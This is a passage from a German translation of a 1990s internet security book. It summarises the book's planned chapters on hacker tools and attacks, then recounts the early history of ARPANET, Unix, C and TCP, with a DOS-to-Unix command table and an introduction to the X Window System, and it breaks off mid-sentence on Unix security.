Ich habe dieses Projekt im Frühjahr 1998 begonnen. Zweifellos sind seither Hunderte von Sicherheitslöchern entstanden
bzw. wieder behoben worden. Die erste Grenze dieses Buches bezieht sich daher auf Aktualität.
Inwieweit der Punkt Aktualität den Nutzen beeinflussen wird, den Sie aus diesem Buch ziehen, hängt von
verschiedenen Faktoren ab. Viele Leute arbeiten nicht mit der aktuellsten und besten Software oder Hardware, da
wirtschaftliche und administrative Gründe dies nicht erlauben. Daher gibt es mit dem Internet verbundene LANs, deren
Rechner mit Windows für Workgroups laufen. Ebenso gibt es Anwender, die SPARC-Workstations unter SunOS 4.1.3
benutzen. Da ältere Software und Hardware verbreitet sind, bleibt eine ganze Menge des hier verwendeten Materials
aktuell. (Ein gutes Beispiel sind Rechner, die mit einer Neuinstallation eines Betriebssystems laufen, in dem
mittlerweile mehrere Sicherheitslöcher entdeckt wurden.)
Zum Aufbau des Buches
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Seien Sie versichert, daß die Informationen in diesem Buch zum Zeitpunkt des Schreibens aktuell waren. Wenn Sie
nicht wissen, ob sich die für Sie relevanten Informationen geändert haben, setzen Sie sich mit Ihrem Hersteller in
Verbindung.
2.3.2 Ihr persönlicher Nutzen
Obwohl dieses Buch viele praktische Beispiele enthält, ist es keine Bedienungsanleitung zum Knacken von
Internet-Servern. Es ist richtig, daß ich viele Beispiele zum Thema Cracking aufführe und sogar einige Utilities zur
Verfügung stelle, mit denen sich Systeme knacken lassen. Dennoch wird dieses Buch aus dem Leser keinen
Meister-Hacker oder - Cracker machen. Es geht nichts über Erfahrung, und die kann dieses Buch nicht ersetzen.
Dieses Buch soll Ihnen ein solides Basiswissen zum Thema Internet-Sicherheit vermitteln. Ein Leser, der über wenig
Wissen zu diesem Thema verfügt, wird genügend Informationen erhalten, um sein Netzwerk sowohl knacken als auch
sichern zu können.
2.4 Der Aufbau des Buches
Dieser Abschnitt beschreibt die verschiedenen Teile des Buches und die Themen, die in ihnen behandelt werden.
2.4.1 Teil I: Die Bühne vorbereiten
Teil I habe ich für Neulinge auf dem Gebiet der Internet-Sicherheit geschrieben. Themen sind u.a.:
Warum ich dieses Buch geschrieben habe
Warum Sie Sicherheit benötigen
Einige Beispiele erfolgreichen Hackings und Crackings
Wer für einen Angriff anfällig ist
Teil I bereitet die Bühne vor und gibt neuen Lesern einen kleinen Überblick über das aktuelle Klima im Netz.
2.4.2 Teil II: Das Terrain verstehen
Teil II spricht die frühe Entwicklung des Internet an. Themen umfassen die folgenden:
Wer erweckte das Internet zum Leben und warum?
Aufbau und Arbeitsweise des Internet
Schlechte Sicherheitsmaßnahmen im Internet und die Gründe dafür
Kriegsführung im Internet und wie sie sich auf Individuen und Netzwerke auswirkt
2.4.3 Teil III: Tools
Teil III untersucht die Inhalte der Werkzeugkiste eines Hackers. Er macht Sie vertraut mit Munition und Waffen, die im
Internet genutzt werden. Er berichtet über die starke Verbreitung dieser Waffen, wer sie kreiert, wer sie benutzt, wie sie
funktionieren und wie Sie von ihnen profitieren können. Die beschriebenen Waffen sind u.a.:
Paßwort-Knacker
Trojanische Pferde
Sniffer
Tools, die eine Verschleierung der Identität ermöglichen
Scanner
Destruktive Methoden, wie z.B. Denial-of-Service-Tools
Zum Aufbau des Buches
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2.4.4 Teil IV: Plattformen und Sicherheit
Teil IV untersucht Schwachstellen in verschiedenen Betriebssystemen und stellt Maßnahmen gegen diese
Schwachstellen zur Verfügung. Folgende Plattformen werden abgedeckt:
Microsoft
Unix
Novell
Macintosh
2.4.5 Teil V: Grundlagen der Sicherheit
Teil V befaßt sich mit der Sicherung von Servern. Er beschreibt Zertifikationssysteme, den Aufbau von
Sicherheitsteams und die Grundlagen von Sicherheitskonzepten. Themen sind u.a.:
Root-, Supervisor- und Administratoren-Accounts
Techniken für das interne Durchbrechen von Sicherheitsmaßnahmen
Sicherheitskonzepte und -philosophie
2.4.6 Teil VI: Angriffe von außen (Remote Attacks)
Teil VI beschreibt Remote Attacks und ihre Implementierung. Themen sind u.a.:
Definition eines Remote Attacks
Verschiedene Angriffslevels und ihre Gefahren
Sniffing-Techniken
Spoofing-Techniken
Angriffe auf Web-Server
Angriffe, die auf Schwächen innerhalb der verschiedenen Programmiersprachen basieren
2.5 Was Sie noch über den Hacker's Guide wissen sollten
Hier noch ein paar Hinweise zu diesem Buch:
Links und Homepages: Viele Links führen Sie direkt zu den entsprechenden Dokumenten und umgehen die Homepages
der Anbieter. Wenn ein Anbieter allerdings verlangt, daß Sie sich vor Herunterladen eines Tools registrieren, gebe ich
den URL für die Registrierungsseite an. Das ist nur fair.
Über Produkthinweise: In diesem Buch werden Hunderte von Produkten erwähnt. Ich stehe zu keinem der Anbieter der
Produkte in irgendeiner Beziehung, sondern erwähne sie ausschließlich, weil ich sie für nützlich halte.
Fehler und dergleichen: Wenn Sie falsche Informationen über Ihr Produkt in diesem Buch entdecken, kontaktieren Sie
bitte den Verlag. Bitte informieren Sie in einem solchen Fall auch mich persönlich per E-Mail an:
maxsecii@altavista.net.
2.6 Inhalt der CD-ROM
Auf der CD finden Sie außer diversen Tools das komplette Archiv der Sicherheitsmailingliste bugtrag (ab 1993) in
HTML-Form und weitere Sicherheitsrelevante Dokumente.
Zum Aufbau des Buches
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3
Die Geburt eines Netzwerks: Das Internet
Dieses Kapitel gibt einen Überblick über die frühe Geschichte des Internet. Wenn Sie sie schon kennen,
können Sie dieses Kapitel gerne überschlagen.
3.1 Die Anfänge: 1962 bis 1969
Unser Schauplatz sind die frühen 60er Jahre - 1962, um genau zu sein. Jack Kennedy saß im Weißen
Haus, die Beatles hatten gerade ihre erste Hit-Single aufgenommen (Love me do) und Christa Speck, eine
umwerfende Brünette aus Deutschland, wurde Playmate des Jahres. Das amerikanische Volk genoß eine
Ära des Wohlstands. Andernorts jedoch verbreitete sich der Kommunismus und mit ihm kamen Waffen
mit schrecklichem Zerstörungspotential.
In der Erwartung eines Atomkriegs beauftragte die Luftwaffe der Vereinigten Staaten eine kleine Gruppe
von Forschern mit einer ungeheuren Aufgabe: sie sollten ein Kommunikationsnetzwerk schaffen, das
einen nuklearen Angriff überleben könnte. Ihr Konzept war revolutionär: ein Netzwerk, das nicht zentral
kontrolliert wurde. Wenn einer (oder 10 oder 100) seiner Knotenpunkte zerstört würden, sollte das
System trotzdem weiterlaufen. Dieses Netzwerk (ausschließlich für militärische Zwecke geplant) würde
selbst die Apokalypse überleben (wenn auch wir nicht).
Der für die Existenz des Internet Hauptverantwortliche ist Paul Baran. Im Jahr 1962 arbeitete Baran bei
der Rand Corporation, der »Denkfabrik«, die mit der Entwicklung dieses Konzepts beauftragt wurde.
Baran stellte sich ein Netzwerk vor, in dem alle Rechner miteinander kommunizieren könnten. Dies war
ein radikales Konzept, das jegliche Konventionen brach. Baran war sich einfach bewußt, daß
zentralisierte Netzwerke zu verwundbar gegen Angriffe waren. In seinem heute berühmten Memorandum
On Distributed Communications: I. Introduction to Distributed Communications Network schrieb er:
Das zentralisierte Netzwerk ist offensichtlich verwundbar, da die Zerstörung eines einzelnen zentralen
Knotenpunkts ausreicht, um die Kommunikation zwischen den Endgeräten zu zerstören.
Verweis:
Die Rand Corporation hat dieses Memorandum und den Bericht von Baran im World Wide Web zur
Verfügung gestellt. Sie finden die Dokumente unter: http://www.rand.org/publications/electronic/.
Baran bezog sich damit auf die Art und Weise, in der die meisten Computernetzwerke verbunden waren.
In der alten Zeit verließen sich Netzwerke auf Großrechner. Diese waren große, mächtige Maschinen, die
zentrale Informationen beinhalteten. Anwender konnten auf diese Informationen über Terminals
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zugreifen, die direkt mit dem Großrechner verkabelt waren. Daten reisten vom Terminal durch das Kabel
in den Großrechner. Der Großrechner verteilte die Daten dann an andere Terminals. Dies war eine sehr
wirksame Methode für ein Netzwerk, konnte aber verheerende Auswirkungen in bezug auf die Sicherheit
der Daten haben. Zum Beispiel konnten die Terminals nicht direkt miteinander kommunizieren. Wenn
der Großrechner zerstört werden würde, wäre daher das gesamte Netzwerk unbrauchbar. Dies stellte ein
erhebliches Risiko für unsere nationalen Netze dar.
Baran hatte eine einfache Lösung: ein Netzwerk, in dem alle Beteiligten untereinander kommunizieren
könnten. In vielen Punkten ähnelte dieser Ansatz dem Konzept des nationalen Telefonnetzes. Baran
erklärte:
In der Praxis wird eine Mischung aus stern- und spinnwebförmigen Komponenten benutzt, um
Kommunikationsnetzwerke zu bilden. Solch ein Netzwerk wird manchmal ein »dezentralisiertes«
Netzwerk genannt, da es sich nicht immer nur auf einen einzelnen Punkt verlassen muß.
Barans Ausarbeitung war gründlich, bis hin zu Routing-Konventionen. Er stellte sich ein System vor, in
dem Daten ihren eigenen Weg dynamisch bestimmen konnten. Wenn z.B. die Daten an irgendeinem
Punkt des Netzwerks auf ein Problem treffen würden, würden sie einen anderen Weg nehmen. Dieses
System basierte auf gewissen Regeln. Zum Beispiel würde ein Netzwerkknoten eine Nachricht nur dann
akzeptieren, wenn er genügend Speicherplatz zur Verfügung hätte. Wären zu einem Zeitpunkt alle
Leitungen besetzt, würde die Nachricht warten, bis ein neuer Weg vorhanden wäre. Auf diese Art und
Weise würde das Netzwerk für intelligenten Datenaustausch sorgen. Baran stellte noch andere Aspekte
des Netzwerks detailliert dar, u.a.:
Sicherheit
Prioritätssysteme (und Vorrichtungen, um Netzwerküberlastung zu verhindern)
Hardware
Kosten
Leider waren Barans Ideen ihrer Zeit einen guten Schritt voraus. Das Pentagon setzte wenig Vertrauen in
derart radikale Konzepte. Baran lieferte den Offiziellen der Verteidigungsbehörde einen elfbändigen
Bericht, der sofort ad acta gelegt wurde. Wie sich herausstellte, verzögerte die Kurzsichtigkeit des
Pentagons die Geburt des Internet, aber nicht sehr lang. 1965 wurde das Projekt wieder gestartet. Gelder
wurden verteilt, um ein dezentralisiertes Computernetzwerk zu entwikkeln, und im Jahr 1969 wurde
dieses Netzwerk Realität. Das System hieß ARPANET.
Für heutige Begriffe war das ARPANET sehr einfach gestrickt. Es vernetzte die Computer von vier
amerikanischen Forschungseinrichtungen (das Stanford Research Institute, die University of Utah, die
University of California in Los Angeles und die University of California in Santa Barbara).
Einer der Computer war ein DEC PDP-10. Diese alten Monster sind heutzutage eher als Möbelstück
denn als Computer zunutze. Ich erwähne den DEC PDP-10 hier jedoch kurz, um eine andere Legende der
Computergeschichte erzählen zu können.
Es war ungefähr um diese Zeit, daß ein in Seattle, Washington ansässiges Unternehmen damit begann,
Computer-Sharing anzubieten, d.h. sie vermieteten CPU-Zeit an Kunden aus der Wirtschaft, die in der
Regel pro Stunde abgerechnet wurde. Das Unternehmen stellte zwei intelligente junge Männer zum
Testen von Software ein. Für ihre Dienste erhielten die Jungen freien Netzzugang zu einem PDP-10
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(heute würde dies dem freien Zugang zu einem Mailbox-System entsprechen). Zum Leidwesen der
Jungen ging das Unternehmen bald Pleite, aber die gemachten Erfahrungen sollten ihr Leben ändern. Zu
jener Zeit gingen sie gerade auf das Gymnasium, heute sind sie in den Vierzigern. Na, wissen Sie, von
wem hier die Rede ist? Die zwei Jungen waren Bill Gates und Paul Allen.
Für die damalige Zeit allerdings war die Verbindung dieser Computer über das Telefonnetz eine
geradezu unglaubliche Leistung. Die anfängliche Euphorie über die Entwicklung des ARPANETs ging
allerdings schnell verloren, als die Ingenieure realisierten, daß sie einige ernsthafte Probleme hatten. Ein
Problem war folgendes: Sie hatten kein Betriebssystem, das dazu geeignet war, das von Baran anvisierte
umfangreiche Netzwerk zu schaffen.
Der Zufall sollte jetzt eine große Rolle spielen. An einem anderen Ort der Vereinigten Staaten
entwickelten Forscher zur gleichen Zeit ein obskures Betriebssystem, das die Welt auf ewig ändern
sollte. Das Betriebssystem hieß Unix.
3.2 Unix wird geboren: 1969 bis 1973
1969 (im gleichen Jahr, in dem das ARPANET ins Leben gerufen wurde) entwikkelte Ken Thompson
von den Bell Labs (zusammen mit Dennis Ritchie und Joseph Ossanna) die erste Version von Unix. Die
Software war hausgemacht, von Thompson selbst geschrieben und lief auf einem DEC PDP-7.
Das Unix-System von Thompson trug keine Ähnlichkeit mit dem modernen Unix. Zum Beispiel ist das
heutige Unix ein Multi-User-System. (Mit anderen Worten können heute mehrere Anwender gleichzeitig
an einer einzigen Unix-Maschine arbeiten.) Im Gegensatz dazu war Thompsons erster Prototyp ein
Single-User-System und ein recht rudimentäres dazu. Vielleicht sollte ich den Begriff rudimentär
erklären:
Wenn Sie an ein Betriebssystem denken, stellen Sie sich vermutlich ein Programm vor, das grundlegende
Utilities, Texteditoren, Hilfedateien, ein Window-System, Netzwerktools etc. beinhaltet. Das ist so, weil
heute Endanwendersysteme sehr komplex und benutzerfreundlich sind. Das erste Unix-System entsprach
dem überhaupt nicht. Statt dessen beinhaltete es nur die allernötigsten Utilities, um überhaupt laufen zu
können. Versetzen Sie sich einen Moment in die Lage von Ken Thompson. Bevor Sie Dutzende der
soeben erwähnten komplexen Programme erstellen können, stehen Sie erst einmal vor einer viel
praktischeren Aufgabe: Sie müssen das System erst einmal gestartet bekommen (booten).
Thompson schaffte es schließlich tatsächlich, daß sein Unix-System bootete. Bis dahin allerdings traf er
auf viele Probleme. Eines davon war, daß die von ihm benutzte Programmiersprache sich nicht sehr gut
für diese Aufgabe eignete. Und noch einmal sollte der Zufall eine große Rolle spielen. Etwa zur gleichen
Zeit entwickelten andere Forscher von den Bell Labs (Dennis Ritchie und Brian Kernighan) eine neue
Programmiersprache namens C.
3.2.1 Die Programmiersprache C
C wird häufig für das Programmieren von Sprach-Compilern und Betriebssystemen benutzt. Ich gehe
hier auf C ein, weil es erheblichen Einfluß auf die Entwicklung des Internet hatte.
Heute werden fast alle Applikationen zur Vereinfachung der Kommunikation über das Internet in C
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geschrieben. In der Tat wurden sowohl das Betriebssystem Unix (das die grundlegende Struktur des
Internet formt) als auch TCP/IP (die Protokollfamilie, die den Datenverkehr über das Netz steuert) in C
entwickelt. Ohne C wäre das Internet in seiner heutigen Form gar nicht existent.
Die Beliebtheit von C basiert auf mehreren Faktoren:
C ist klein und effektiv
C-Code kann sehr einfach von dem einen auf das andere Betriebssystem portiert werden
C kann schnell und leicht erlernt werden
Allerdings war den Forschern der Bell Labs nur der erste der o.g. Faktoren bewußt, als sie beschlossen,
Unix in C neu zu schreiben. Thompson und Ritchie portierten Unix auf einen DEC PDP-11/20 und
entwickelten es erheblich weiter. Zwischen 1970 und 1973 wurde Unix komplett neu in C geschrieben.
Dies führte zu einer erheblichen Verbesserung und eliminierte viele Fehler des ersten Unix-Systems.
3.3 Die prägenden Jahre des Internet: 1972 bis 1975
Ich komme jetzt kurz von der weiteren Entwicklung von Unix und C ab, da zwischen 1972 und 1975
Fortschritte auf anderen Gebieten gemacht wurden. Diese Fortschritte sollten großen Einfluß darauf
haben, wie und warum Unix als Betriebssystem für das Internet gewählt wurde.
Im Jahr 1972 umfaßte das ARPANET etwa 40 Hosts. In diesem Jahr erfand Ray Tomlinson, ein
Angestellter von Bolt, Beranek and Newman, Inc., die E-Mail, eine bahnbrechende Entwicklung für die
Kommunikation über das Internet.
Tomlinsons Erfindung war wohl die wichtigste Innovation des Jahrzehnts im Computerbereich. E-Mail
ermöglichte einfache, effektive und billige Kommunikation. Dies führte zu offenem Gedankenaustausch
und länderübergreifender Zusammenarbeit zwischen Wissenschaftlern. Durch die Möglichkeit, eine
E-Mail-Nachricht an mehrere Empfänger zu senden, konnten Ideen schneller realisiert werden. Von
diesem Zeitpunkt an lebte das Netzwerk.
Eine andere Schlüsselerfindung wurde 1974 gemacht: Vinton Cerf und Robert Khan erfanden das
Transmission Control Protocol (TCP). Dieses Protokoll war eine neue Methode, Daten zerstückelt über
das Netzwerk zu bewegen und diese Bruchstücke am anderen Ende wieder zusammenzusetzen.
Hinweis:
TCP ist das wichtigste Protokoll, das heute im Internet benutzt wird. Es wurde in den frühen 70er
Jahren entwickelt und schließlich in Berkeley Software Distribution's Unix integriert. Seitdem ist es zu
einem Internet-Standard geworden. Heute läuft auf fast allen mit dem Internet verbundenen Rechnern
irgendeine Form von TCP.
Zum Jahr 1975 war das ARPANET ein vollständig funktionierendes Netzwerk. Die Basisarbeit war
getan und nun war es an der Zeit, daß die US-Regierung es für sich in Anspruch nahm. In diesem Jahr
wurde die Kontrolle über das ARPANET an die damalige United States Defense Communication
Agency (später Defense Information Systems Agency) übergeben.
Eine noch verbleibende Aufgabe war die Auswahl eines offiziellen Betriebssystems für das ARPANET.
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Die Gründe für die Wahl von Unix waren vielfältig. Im nächsten Abschnitt werde ich diese Gründe
ausführlich erklären.
3.3.1 Unix wird reif
Zwischen 1974 und 1980 wurde der Unix-Source-Code an Universitäten im ganzen Land verteilt. Dies
war einer der Hauptgründe für den großen Erfolg des Betriebssystems.
Erstens fand die akademische Welt sofort Gefallen an Unix. Daher wurde es in vielen Übungen während
des Unterrichts eingesetzt. Dies hatte einen direkten Einfluß auf die Wirtschaft. Mike Loukides,
Redakteur für O'Reilly & Associates und ein Unix-Guru, erklärte:
Schulen brachten eine Menge sehr fähiger Computeranwender (und Systemprogrammierer)
hervor, die Unix schon kannten. Daher konnte man fertige Programmierer »kaufen« und
mußte sie nicht erst in die Schwierigkeiten eines unbekannten Betriebssystems einarbeiten.
Die Universitäten erhielten den Unix-Source-Code kostenlos und damit wurde auch den Studenten die
Möglichkeit eröffnet, Unix für ihre Entwicklungen zu benutzen. Dies führte dazu, daß Unix auch auf
andere Rechner portiert wurde, was die Basis der Unix-Anwender nur vergrößerte.
Hinweis:
Weil der Unix-Source-Code weithin bekannt und verfügbar ist, werden auch mehr Fehler in der
Sicherheitsstruktur des Systems bekannt. Im Gegensatz dazu stehen proprietäre Systeme, deren
Hersteller meist nicht bereit sind, Source-Codes zu offenbaren und damit viele Fragen in bezug auf ihre
Sicherheit offen lassen.
Unix gewann weiterhin an Beliebtheit, und im Jahr 1978 beschloß AT&T, ein Geschäft aus dem
Betriebssystem zu machen und Lizenzgebühren zu verlangen. Dies hatte einige Veränderungen in der
Computerwelt zur Folge. In einem erstaunlichen Versuch, kreative Unabhängigkeit zu bewahren, schuf
die University of California in Berkeley ihre eigene Unix- Version, die vielen modernen kommerziellen
Unix-Versionen zugrundeliegt.
Unix wurde aus mehreren Gründen gewählt, u.a.:
Unix war Entwicklungsstandard
Unix war ein offenes System
Der Unix-Source-Code stand für genaue Untersuchungen allgemein zur Verfügung
Unix hatte mächtige Netzwerkfunktionen
3.3.2 Unix und das Internet entwickeln sich gemeinsam weiter
Nachdem Unix als Betriebssystem für das Internet bestimmt war, wurden Fortschritte in Unix in das
Design des Internet integriert, d.h. seit 1975 entwickelten sich Unix und das Internet gemeinsam weiter.
Seit dieser Zeit haben viele große Software- und Hardwarehersteller ihre eigenen Unix-Versionen auf
den Markt gebracht. Die populärsten Unix-Versionen werden in Tabelle 3.1 aufgelistet.
Tabelle 3.1: Unix-Versionen und ihre Hersteller
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Unix-Version Hersteller
SunOS & Solaris Sun Microsystems
HP-UX Hewlett-Packard
AIX IBM
IRIX Silicon Graphics (SGI)
Digital Unix Digital Equipment Corporation (DEC)
Viele dieser Unix-Versionen laufen auf High-Performance-Rechnern, sogenannten Workstations.
Workstations unterscheiden sich in vielen Punkten von PCs. Erstens enthalten Workstations
hochwertigere Hardware und sind daher teurer. Was unter anderem auch daran liegt, daß sie nur in
limitierter Anzahl produziert werden. Im Gegensatz dazu werden PCs serienmäßig gefertigt, und
Hersteller suchen immer wieder neue Wege, um Kosten zu senken. Ein Verbraucher, der eine neue
PC-Platine kauft, geht deshalb ein wesentlich höheres Risiko ein, fehlerhafte Hardware zu bekommen.
Außerdem sind Workstations in der Regel auch technisch dem PC weit überlegen. Zum Beispiel
gehörten schon 1989 integrierter Sound, Ethernet und SCSI zur Standardausrüstung einer Workstation.
ISDN beispielsweise wurde bereits kurz nach seiner Entwicklung in Workstations integriert.
Hinweis:
Technische Vorteile einer Workstation sind nicht immer auf den ersten Blick erkennbar. Zum Beispiel
haben viele Workstations einen extrem hohen Durchsatz, der sich in superschnellen
Netzwerkverbindungen und erstklassiger Grafik-Performance äußert. Tatsächlich produzieren SGI und
Sun jetzt Rechner, die einen geradezu absurden Durchsatz haben und Hunderte von Gigabyte pro
Sekunde verarbeiten.
High-End-Performance kommt Sie teuer zu stehen. Workstations machen Sie um einen 5- oder 6stelligen
Betrag ärmer. Für den gewöhnlichen Anwender sind derartige Maschinen natürlich unerschwinglich. Im
Gegensatz dazu sind PC-Hardware und -Software billig, leicht erhältlich, einfach zu konfigurieren und
weit verbreitet.
Die meisten Unix-Workstations werden für sehr spezielle Aufgaben hergestellt. Für Silicon-
Graphics-Workstations wird beipielsweise spezielle Hardware eingesetzt, um unglaubliche Grafiken zu
erzeugen. Diese Rechner werden in der Filmindustrie eingesetzt.
Hinweis:
Wahrscheinlich haben Sie schon Grafiken in SGI-Qualität gesehen. SGI Rechner wurden für die
Erstellung der Spezialeffekte vieler Kinofilme benutzt, u.a. Jurassic Park und Die Maske. SGI ist jedoch
nicht die einzige Unix-Plattform, die für Präzisionsgrafiken zum Einsatz kommt. Linux wird ebenfalls
für diesen Zweck benutzt. (Digital Domain, ein berühmtes Unternehmen für Spezialeffekte, benutzte
RedHat-Linux, um James Camerons »Titanic« zu versenken.)
Uns interessiert jetzt jedoch nur Unix, da es in einem starken Bezug zum Internet steht. Da die
Entwicklung des Internet von seiten der US-Regierung Unix integrierte, enthält Unix die Grundbausteine
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des Netzes. Kein anderes Betriebssystem wurde jemals so sehr darauf ausgerichtet, im Internet eingesetzt
zu werden.
Werfen wir einen kurzen Blick auf Unix, bevor wir fortfahren.
3.3.3 Die grundlegenden Merkmale von Unix
Das heutige Unix läuft auf verschiedener Hardware, einschließlich IBM-kompatiblen und
Macintosh-Rechnern. Die Installation unterscheidet sich wenig von der Installation anderer
Betriebssysteme. Die meisten Anwender liefern eine CD-ROM. Auf Workstations wird die Installation
durch Booten von einer CD-ROM durchgeführt. Normalerweise entscheiden Sie zunächst über eine
Reihe von Optionen, beendet wird die Installation automatisch. Für andere Hardware-Plattformen
erhalten Sie in der Regel neben der CD-ROM eine Boot-Diskette, über die ein kleines
Installationsprogramm in den Speicher geladen wird.
Ein Unix-System zu starten ist dem Booten anderer Systeme ebenfalls sehr ähnlich. Während des
Booting-Vorgangs werden alle vorhandenen Hardware-Komponenten diagnostiziert, der Speicher
überprüft und die nötigsten Systemprozesse gestartet. In Unix werden einige der gängigen
Systemprozesse beim Booten gestartet, u.a.:
E-Mail-Dienste
Allgemeine Netzwerkdienste
Protokoll- und Systemadministrationsdienste
Nach dem Booten erscheint ein Login-Prompt, das Sie zur Eingabe Ihres Benutzernamens und -Paßworts
auffordert. Wenn das Einloggen beendet ist, erreichen Sie die Shell.
Hinweis:
Die Shell ist eine Umgebung, in der Befehle eingegeben und ausgeführt werden können. Ein
Shell-Interpreter übersetzt diese Befehle dann in Maschinensprache, damit sie ausgeführt werden
können. In MS-DOS ist die Shell z.B. COMMAND.COM. Der Anwender kommuniziert mit der Shell,
indem er Befehle eintippt (z.B. den Befehl DIR zur Auflistung von Directories). In dieser Hinsicht ähnelt
Unix MS-DOS, zumindest was die äußere Erscheinung betrifft. Alle Befehle werden über die Shell
eingegeben. Die Resultate dieser Befehle erscheinen auf dem Monitor, es sei denn, Sie geben etwas
anderes an.
Die Navigation durch die Verzeichnisse (»Directories«) wird auf ähnliche Weise durchgeführt wie die
Navigation in einem DOS-System. DOS-Anwender können ein Unix-System leicht navigieren, indem sie
die Umwandlungsinformationen in Tabelle 3.2 benutzen. Die Unix-Befehle, die hier aufgelistet sind,
führen zu den gleichen oder sehr ähnlichen Ergebnissen wie ihre Entsprechungen in DOS.
Tabelle 3.2: Umwandlungstabelle für Befehle: Unix zu DOS
DOS-Befehl Unix-Befehl
cd \<directory> cd /<directory>
dir ls -l
Die Geburt eines Netzwerks: Das Internet
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dir \directory ls /directory
dir /w ls
chkdsk drive fsck drive/partition
copy filename1 filename2 cp filename1 filename2
edit filename vi filename, ex filename
fc filename1 filename2 diff filename1 filename2
find text_string grep text_string
format drive format drive/partition
mem/c|more more /proc/meminfo
move filename1 filename2 mv filename1 filename2
sort filename sort filename
type filename|more more filename
help <command> man <command>
edit vi
Wegweiser:
Um mehr über grundlegende Unix-Befehle zu erfahren, gehen Sie zu http:/
/www.geek-girl.com/Unixhelp/. Dieses Archiv bietet eine umfassende Sammlung von Informationen
über Unix. Als gute Dokumentation über Unix empfehle ich Unix Unleashed, ein Buch, das viele
hilfreiche Tips und Tricks zum Umgang mit diesem beliebten Betriebssystem liefert.
3.3.4 Das X Window System
Unix unterstützt auch mehrere Windowing(Fenster-basierte)-Systeme, von denen das populärste das X
Window System vom Massachusetts Institute of Technology (MIT) ist. Wann immer ich mich in diesem
Buch auf das X Window System beziehe, werde ich es als X bezeichnen. Ich werde X hier kurz
beschreiben, da Sie für einige Abschnitte dieses Buches wissen müssen, was es ist.
Im Jahr 1984 gründeten Forscher am MIT das Projekt Athena, dessen Hintergrund die Entwicklung einer
grafischen Schnittstelle war, die auf Workstations oder in Netzwerken unterschiedlicher Art laufen
würde. In frühen Phasen der Forschung zu X wurde sofort klar, daß X Hardware-unabhängig sein müsse,
um diese Aufgabe zu erfüllen. Ebenso mußte es transparenten Netzwerkzugang zur Verfügung stellen.
Daher wurde X nicht nur als ein Window- System, sondern auch als ein auf das Client-/Server-Modell
basierendes Netzwerk-Protokoll entwickelt.
X wurde von Robert Scheifler und Ron Newman, beide vom MIT, und Jim Gettys von DEC entwickelt.
X unterscheidet sich erheblich von anderen Windowing-Systemen (z.B. Microsoft Windows), auch in
Hinsicht auf das Anwender-Interface. Dieser Unterschied basiert hauptsächlich auf einem Konzept, das
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als »Werkzeugbank«- oder »Werkzeugkasten«-Funktion bezeichnet wird. Das heißt, X läßt Sie jeden
Aspekt seines Verhaltens durch ein umfangreiches Sortiment von Programmierhilfen kontrollieren.
Generell stellt X hochauflösende Grafiken über Netzwerkverbindungen mit hoher Geschwindigkeit und
hohem Durchsatz zur Verfügung. Kurz, X baut auf die modernste zur Zeit verfügbare
Window-Technologie auf. Einige Anwender werten die Komplexität von X als einen Nachteil und haben
wahrscheinlich recht. Es gibt einfach so viele Optionen, von denen der normale Anwender sehr schnell
überwältigt werden kann.
Wegweiser:
Leser, die mehr über X wissen wollen, sollten die Website des X Consortiums besuchen. Das X
Consortium besteht aus den Autoren von X. Diese Gruppe setzt und verbessert immer wieder Standards
für das X Window System. Die Website finden Sie unter http://www.x.org/.
Hinweis:
Bestimmte X-Versionen können auch auf IBM-kompatiblen Rechnern in einer
DOS-/Windows-Umgebung laufen.
Mit Microsoft Windows vertraute Anwender werden die Arbeitsweise von X besser verstehen, wenn Sie
sie mit der Beziehung zwischen DOS und Microsoft Windows 3.11 vergleichen. Das grundlegende
Unix-System ist als Befehlszeilen-Interface immer vorhanden und bleibt aktiv und zugänglich, auch
wenn der Anwender die X-Umgebung benutzt. X läuft insofern über dem zugrundeliegenden
Unix-System. In der X-Umgebung kann ein Anwender über ein Shell-Fenster auf den
Unix-Befehlszeilen-Interface zugreifen. (Dies scheint zumindest ebenso zu funktionieren wie in
Microsoft Windows, in dem ein MS-DOS-Eingabefenster verfügbar ist.) Von diesem Shell-Fenster aus
kann der Anwender Befehle ausführen und den Arbeitsablauf von Systemprozessen beobachten.
Das X Window System wird mit dem folgenden Befehl gestartet:
startx
X ermöglicht das Benutzen einer ganzen Reihe von Window-Managern. Jeder dieser Manager schaut
anders aus und wirkt anders. Einige (wie twm) wirken recht nackt und technisch, während andere
durchaus attraktiv und sehr modern sind. Es gibt sogar einen X-Window- Manager, der dem
Windows-95-Look nacheifert. Andere Plattformen werden ebenso nachgebildet, z.B. das NeXT Window
System und das Amiga Workbench-System.
Zusammengefaßt ist X eine mächtige Windowing-Umgebung.
3.3.5 Applikationen unter Unix
Unter Unix können viele verschiedene Applikationen laufen. Einige sind leistungsstarke Programme, die
für wissenschaftliche Forschungsarbeiten und im Bereich künstliche Intelligenz benutzt werden. Aber
nicht alle Unix-Applikationen sind derart spezialisiert. Populäre, kommerzielle Applikationen können
ebenfalls unter Unix laufen, z.B. Adobe PhotoShop, Corel WordPerfect und andere Programme, die
üblicherweise mit dem PC in Verbindung gebracht werden.
Insgesamt gesehen ist das moderne Unix wie jede andere Plattform. Window-Systeme werden
Die Geburt eines Netzwerks: Das Internet
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üblicherweise mit einer ganzen Reihe integrierter Applikationen geliefert, u.a. Datei- Manager,
Text-Editoren, Mail-Programmen, Uhren, Kalender, Taschenrechner und das andere bekannte Zubehör.
Eine große Sammlung von Multimedia-Software kann unter Unix benutzt werden, dazu gehören
Film-Wiedergabe-Utilities, Audio-CD-Utilities, Aufnahmeprogramme für digitalen Sound,
Zwei-Wege-Kamera-Systeme, Multimedia-Mail und andere unterhaltsame Dinge. Im Grunde genommen
gibt es nichts, das nicht für Unix geschrieben wurde.
3.3.6 Unix und Internet-Sicherheit
Unix-Sicherheit ist ein komplexes Feld. Manche Leute behaupten, daß Unix sehr widersprüchlich ist, da
genau die Aspekte, die Unix zu einer hervorragenden Server-Plattform machen, es gleichzeitig auch
verwundbar gegenüber Angriffen werden lassen. Unix wurde als ultimatives Betriebssystem für
Netzwerke entwickelt, das es seinem Benutzer ermöglicht, praktisch jede Applikation aus der Ferne auf
einfache Art und Weise zu bedienen. (Unix bietet z.B. die Möglichkeit, von einem Rechner aus
Operationen auf einem ganz anderen Rechner durchzuführen, auch wenn die beteiligten Rechner
Tausende von Kilometern voneinander entfernt sind.) Deshalb akzeptieren Unix-Remote-Dienste
standardmäßig Verbindungen aus der ganzen Welt.
Zudem ist Unix ein offenes System, dessen Code öffentlich verfügbar ist. So können sowohl Forscher als
auch Computerkriminelle, Cracker und andere Bösewichte Schwachstellen aufdecken. Unix ist jedoch
